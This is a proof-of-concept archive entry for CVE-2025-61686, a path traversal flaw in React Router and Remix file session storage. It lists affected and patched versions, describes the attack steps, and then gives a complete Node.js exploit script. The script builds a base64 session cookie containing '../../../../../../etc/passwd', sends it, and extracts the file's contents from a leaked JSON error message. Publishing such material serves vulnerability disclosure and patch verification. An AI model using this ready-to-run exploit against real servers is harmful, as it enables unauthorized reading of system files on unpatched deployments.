PoC Archive PoC Archive
CVE-2025-61686 category: web CVSS 9.1 (CRITICAL)
Unverified

React Router Session Path Traversal (CVE-2025-61686)

Published: 2026-09-03 • Researcher: boroeurnprach

Target software React Router (@react-router/node), Remix (@remix-run/node, @remix-run/deno)
Affected versions @react-router/node 7.0.0-7.9.3, @remix-run/node < 2.17.2, @remix-run/deno < 2.17.2
Status PoC
Severity Critical · CVSS 9.1
CVSS 9.1/10
Severity
Critical
CVE
CVE-2025-61686
Category
web
Affected product
React Router (@react-router/node), Remix (@remix-run/node, @remix-run/deno)
Affected versions
@react-router/node 7.0.0-7.9.3, @remix-run/node < 2.17.2, @remix-run/deno < 2.17.2
Disclosed
2026-09-03
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-03
Author / Researcherboroeurnprach
CVE / AdvisoryCVE-2025-61686
Categoryweb
SeverityCritical
CVSS Score9.1
StatusPoC
Tagspath traversal, React Router, Remix, session storage, JavaScript, Node.js

Affected Target

FieldValue
Software / SystemReact Router (@react-router/node), Remix (@remix-run/node, @remix-run/deno)
Versions Affected@react-router/node 7.0.0-7.9.3, @remix-run/node < 2.17.2, @remix-run/deno < 2.17.2
Patched Version@react-router/node 7.9.4, @remix-run/deno 2.17.2, @remix-run/node 2.17.2
Language / PlatformJavaScript / Node.js
Authentication RequiredNo (unauthenticated)
Network Access RequiredRemote

Summary

CVE-2025-61686 is a path traversal vulnerability in React Router and Remix. When createFileSessionStorage() is used with an unsigned cookie, an attacker can craft a session cookie containing ../../ traversal sequences to cause the session to read or write files outside the intended session directory.

Vulnerability Details

Root Cause

The session ID from an unsigned cookie is used directly in path construction without proper sanitization, allowing directory traversal.

Attack Vector

  1. Craft a base64-encoded session cookie containing path traversal sequences
  2. Send the cookie to the application
  3. The server attempts to read/write files outside the session directory

Impact

File read/write outside the session directory, limited by server process permissions and the requirement that read files match the session file format.

References

Notes

Auto-ingested from https://github.com/boroeurnprach/CVE-2025-61686-PoC on 2026-09-03.

exploit-2.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const http = require('http');
const traversalId = '../../../../../../etc/passwd';
const cookieName = 'session';
const payload = Buffer.from(JSON.stringify(traversalId)).toString('base64');
const cookieValue = `${cookieName}=${payload}`;

const options = {
    hostname: 'localhost',
    port: 3005,
    path: '/',
    method: 'GET',
    headers: {
        'Cookie': cookieValue
    }
};

console.log(`[Exploit-2] Sending request to read /etc/passwd via JSON error leak...`);

const req = http.request(options, (res) => {
    let rawData = '';
    res.on('data', (chunk) => {
        rawData += chunk;
    });
    res.on('end', () => {
        console.log('Response status:', res.statusCode);

        try {
            const jsonResponse = JSON.parse(rawData);
            if (jsonResponse.error) {
                console.log('\n[VULNERABILITY CONFIRMED]');
                console.log('The server tried to parse /etc/passwd as JSON and failed.');
                console.log('Error Message Leaked:');
                console.log('---------------------------------------------------');
                console.log(jsonResponse.error);
                console.log('---------------------------------------------------');

                let content = jsonResponse.error;
                const match = jsonResponse.error.match(/Invalid JSON: ([\s\S]*)/);
                if (match && match[1]) {
                    content = match[1];
                } else {
                    const matchV8 = jsonResponse.error.match(/Unexpected token '.*?', "(.*)"/);
                    if (matchV8 && matchV8[1]) content = matchV8[1];
                }

                if (content) {
                    console.log('\nExtracted File Content:');
                    console.log(content);
                }
            } else {
                console.log('Response (JSON):', JSON.stringify(jsonResponse, null, 2));
            }
        } catch (e) {
            console.log('Raw Body:', rawData);
        }
    });
});

req.on('error', (e) => {
    console.error(`Problem with request: ${e.message}`);
});

req.end();